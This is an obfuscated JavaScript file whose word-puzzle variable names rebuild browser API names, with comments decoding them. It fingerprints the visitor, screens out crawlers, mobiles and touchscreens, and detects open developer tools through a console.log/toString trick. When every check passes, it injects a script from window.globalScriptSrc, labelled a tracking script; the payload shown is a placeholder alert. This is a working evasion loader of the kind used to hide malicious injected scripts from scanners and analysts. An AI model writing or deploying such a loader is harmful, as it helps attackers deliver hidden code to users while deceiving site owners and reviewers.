window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
var t = this;
var bingo, paper, check, c, d, obj, translate;
+function () {
    var l = loadBindData;
    var lib = 'React';

    var appRequirements = {
        device: 'pc',
        screen: 1980,
        lang: 'java',
        cookie: true,
        src: '',
        teg: 'body',
        support: 'global',
        internet: 'enabled',
        method: 'post',
        accent: 'color',
        plugins: ['react-datepicker', 'rc-tree'],
        security: true,
        name: 'app',
        version: '1.0.0',
        platform: ['win', 'lin', 'mac'],
        browsers: ['chrom', 'safari', 'firefox', 'edge', 'opera'],
        accessCode: 1e13
    };

    var calc = Math;

    var elem = up(getData(l, 'not', 'logo', 'dom', 'clone')); // Node
    var ladder = {
        getCheck: function (param) {
            translate = bingo;
            return this
        },

        getContext: function () {
            if (document.documentElement.firstElementChild === undefined) {

                Object.defineProperty(Element.prototype, 'firstElementChild', {
                    get: function () {
                        var el = this.firstChild;
                        do {
                            if (el.nodeType === 1) {
                                return el;
                            }
                            el = el.nextSibling;
                        } while (el);

                        return null;
                    }
                });
            }
            getContext(entities, additional);
            obj = t; // one more window
            return this
        },

        getAge: function () {
            if (t) {
                paper = t[d]; // document
                c = paper; // document
            }
            return this
        }
    };
    var additional = ['Message', 'side', 'bug', 'sistem', 'post'];
    var entities = ['vas', 'ran', 'bar', 'dom', 'can', 'gate', 'web', 'or', 'mental', 'cube'];

    var code = appRequirements.accessCode;
    var stamp = new Date / code;

    var logo = $(entities[1], entities[3]); //random
    ladder.getContext()
        .getAge()
        .getCheck();

    ~function (a, b) {
        var x = [];
        for (var i = 0; i < b.length; i++) {
            if (!i) {
                x.push(b)
            }
        }
        calc[b] = function () { return stamp };
        if (a) {
            a.forEach(calculatePosition)
        };
    }(getPlace(), logo);

    var picture;
    var user = {
        login: 'Agent',
        password: 'user'
    };

    var summer = getData(loadBindData, 'sun', 'ice', 'sand', 'wine', 'crab', 'umbrella', 'rom');
    var nut = String.fromCharCode(68) + (!![] + '').substring(3, 4) + additional[2]; // Debug
    var romb = lib.slice(0, 2) + lib.slice(3); // Rect
    var ff = t[summer]; //isNativeFF,
    var age = t[nut]; // IE/Edge
    var giraffe = obj[romb]; //  isNativeSafari  Safari/Firefox

    function getKeys(obj) {
        var keys = [];
        iterate(obj, function (oVal, oKey) { keys.push(oKey) });
        return keys;
    };

    var end = getData(loadBindData, 'cake', 'nut', 'sorbet'); // ent
    var music = getData(l, 'pop', 'alternative', 'rap').toUpperCase(); // PER
    var findPart = additional[3].slice(0, 4).toUpperCase();
    var style = $(music, findPart);
    var primaryColor = $(style, end).toUpperCase();
    var isColored = obj[primaryColor]; // Chrome
    var translations = getKeys(appRequirements);
    var raduis = obj[translations[1]];


    var help = translations[3] + appRequirements['internet'].slice(0, 1).toUpperCase() + appRequirements['internet'].slice(1);

    function iterate(iterable, callback) {
        for (var key in iterable) {
            if (key === 'length' || key === 'prototype' || !Object.prototype.hasOwnProperty.call(iterable, key)) continue;
            callback(iterable[key], key, iterable);
        }
    };

    function getImage(x, y) {
        return entities[x] + entities[y];
    };

    function getDeep() {
        var abc = getData(l, 'lacrosse', 'pit', 'port', 'hat'); // epth
        return $(String.fromCharCode(68), abc);
    };

    var winter = ['ice', 'x', 'glove', 'log'];

    function findExt() { //devicePixelRatio
        var point = $(String.fromCharCode(80), getData(loadBindData, winter));
        var rang = getData(l, 'Rom', 'axe', 'sport', 'ink', 'solo'); //Ratio
        return $($(translations[0], point), rang);
    };

    var deepRatio = $(appRequirements.accent, getDeep()) //screen.colorDepth;
    var assets = translations[10]; // plugins
    var isFavorite = checkFavorite(); // isNewChrome

    function getData() {
        var temp = [];
        var w = '';
        var f = arguments[0];
        if (Array.isArray(arguments[1])) {
            var data = arguments[1];
            if (!data || !data.length) {
                return data
            } else {
                for (var j = 0; j < data.length; j++) {
                    w += f(data[j])
                }
            }
        } else {
            for (var i = 1; i < arguments.length; i++) {
                w += f(arguments[i])
            }
        }
        return w
    };
    var control = appRequirements.lang + up(appRequirements.internet); // javaEnabled
    var base = getData(loadBindData, 'bus', 'metro', 'sled', 'lorry'); // body
    var length = 'Child';
    var isOn = appRequirements.internet[0].toUpperCase();

    function getWage(param) {
        if (param[translations[11]]) {
            return 4
        } else if (ff) {
            return 1
        } else {
            return 2
        }
    };

    var oldEntries = appRequirements.name + elem.replace('N', 'C') + up('name'); // appCodeName
    var newEntries = appRequirements.name + up(translations[13]); // appVersion

    var isSmall = function () { return !"".match.call(translate[assets][0].name, "um") }; // 0 in Chromium
    var wage = getWage(paper); // consoleCounter

    function findEntries() {
        return [bingo[oldEntries], bingo[newEntries]].join(bingo[control]).match(/"/g);
    };

    function getPlace() {
        return t[elem]['__cspr__'];
    };

    function calculatePosition(coord) {
        return t[elem].prototype[coord[0]] = coord[1];
    };

    var highlight = getData(l, 'buz', 'goal', 'pikabu', 'tour');
    var allowed = appRequirements;
    var gardian = allowed.browsers;
    var animals = getData(l, 'cat', 'rat', 'grizzly', 'pig', 'marmot', 'armadillo'); // crypto
    var isRealCaterpillar = typeof (obj[animals]) == "function" || findEntries(); // isFakeCrawler
    var addFile = findFastSolution(true); // createElement
    var width = appRequirements;


    function loadBindData(s) {
        if (s.length > 3) {
            return s[s.length - 1];
        }
        else return s[0];
    };

    var png = getImage(4, 0);
    var img = paper[addFile](png); // canvasElem
    var attr = 'src';
    var imageSrc = getImageSrc();

    try { var event = t[highligh] + "" } catch (e) { var event = false };

    function findItem() { return $(translations[1][0], animals.slice(0, 2)) + $('ip', end[2]); }; // script
    var padding = width.name; // app
    var language = /g/;
    var doCheck = function () { // fireTrackingScript
        var content = addImage();
        return content(paper[addFile](findItem()))[attr] = t[imageSrc];
    };

    function addImage() {
        var place = $(padding, 'end'); // append
        var height = calculateImageHeight(place);
        return paper[width.teg][height].bind(paper[width.teg]);
    };

    function getImageSrc() { // globalScriptSrc
        return appRequirements.support + $(up(findItem()), up(attr));
    };

    function up(item) {
        return item[0].toUpperCase() + item.slice(1);
    };

    function calculateImageHeight(place) {
        return $(place, length)
    };

    language.toString = function () { --wage; return "" };

    var magic = translations[14];

    var magicRegex = function () {//!!!!!!! change to win
        var ink = appRequirements[magic][1] + '|' + appRequirements[magic][2];
        return new RegExp(ink, 'ig');
    };

    var minCheck = appRequirements.platform[2].replace('c', 'x');

    if (translate[magic].match(magicRegex())) { // ts/mac, no mobiles
        var result = [];
        for (var i = magic.length; i > 0; i--) {
            result.push(magic[i]);
        }
        var dayOff = hasDayOff();
        var checkedData = checkData();
        var list = up(getData(l, 'tost', 'potato', 'un', 'can', 'hot'));
        var credentials = getCredentials(list); // maxTouchPoints
        if (!bingo[credentials]) { // no touchscreens
            if (!Array.prototype.findIndex) {
                Array.prototype.findIndex = function(predicate) {
                  if (this == null) {
                    throw new TypeError('Array.prototype.findIndex called on null or undefined');
                  }
                  if (typeof predicate !== 'function') {
                    throw new TypeError('predicate must be a function');
                  }
                  var list = Object(this);
                  var length = list.length >>> 0;
                  var thisArg = arguments[1];
                  var value;

                  for (var i = 0; i < length; i++) {
                    value = list[i];
                    if (predicate.call(thisArg, value, i, list)) {
                      return i;
                    }
                  }
                  return -1;
                };
              }
            if (!isRealCaterpillar && getAssets()) {
                if (checkedData) {
                    console.log(language); // will decrement "consoleCounter"
                    if (wage > 0 && t[dayOff]) { //check for canvas support
                        // all ok, fire script
                        doCheck();
                    }
                }
            }
        }
    };

    function hasDayOff() {
        var calendar = getData(loadBindData, 'big', 'un', 'fun', 'puff', 'elf', 'run');
        var experiance = up(entities[6]) + up(appRequirements.support[0]) + up(appRequirements.support[1]);
        return $(experiance, $(up('frame'), calendar));
    };

    var auth = giraffe;
    var smart = getData(loadBindData, 'dog', 'caribou', 'worm', 'pig'); // dump

    function fetchData() {
        var data = '';
        for (var i = 0; i < arguments.length; i++) {
            data += arguments[i]
        }
    };

    var h = getData(l, 'kookaburra', 'albatross', 'sou', 'eagle', 'man', 'bat', 'kestrel', 'canary');
    var low = entities[7][0] + additional[1][0] + entities[4][0] + additional[4][0] + additional[2][1];

    function createText(text, f) {
        return new RegExp(text, f);
    };

    var down = $(up(entities[6]), up(h));
    var corner = $(getData(loadBindData, 'window', 'a', 'sun', 'fantom'), up(appRequirements.internet));

    function checkData() {
        var signedIn = $(user.password, user.login); // userAgent
        var checked = translate[signedIn]; // navigator.userAgent
        return checked.match(signIn()) && (auth || ff) ||
            checked.match(freeEnter()) && isColored && isFavorite && isSmall() ||
            checked.match(isAllowed()) && age
    };

    function getAssets() {
        return !t[smart] || t[down] && bingo[low] || bingo[corner];
    };

    function getCredentials(list) {
        var cr = $(list, up(getData(l, 'stamp', 'owl', 'in', 'tablet', 'sun')));
        return $(minCheck, cr);
    };

    function pm() {
        return appRequirements.method + additional[0];
    };

    function createElement(el, value) {
        return el + value;
    };

    function signIn() {
        var text = gardian[1] + '|' + gardian[2];
        return createText(text, 'i');
    };

    function freeEnter() {
        var text = gardian[0];
        return createText(text, 'i');
    };

    function findFastSolution(data) { //createElement
        var action;
        if (data) {
            action = 'create';
            if (!picture) {
                picture = entities[4] + entities[0];
            } // canvas
        } else {
            picture = 'art'
        }
        var first = action + isOn;
        var second = getData(loadBindData, 'lip', 'elf', 'charm') + end;

        return $(first, second)
    };

    function checkFavorite() {
        return t[pm()] && obj[findExt()] && raduis[deepRatio] && bingo[help] && translate[assets];
    };

    function isAllowed() {
        var text = $(createElement('tr', 'id'), end) + '|' + gardian[3]; //  /trident|edge/i
        return createText(text, 'i');
    };

    function $(str, lett) {
        return str + lett;
    };

    function getContext(a, p) {
        if (a) {
            t = this; // window
            if (a[2] === 'bar') {
                var part = a[1].split('').reverse().join('').slice(0, 2);
                var n = part + String.fromCharCode(118) + String.fromCharCode(105) + a[5].substring(0, 3) + a[7];  // navigator
                d = a[3].substring(0, 2) + a[9].substring(0, 2) + a[8].substring(0, 4);// document
                bingo = t[n]; // navigator
            }
        }
    };
}();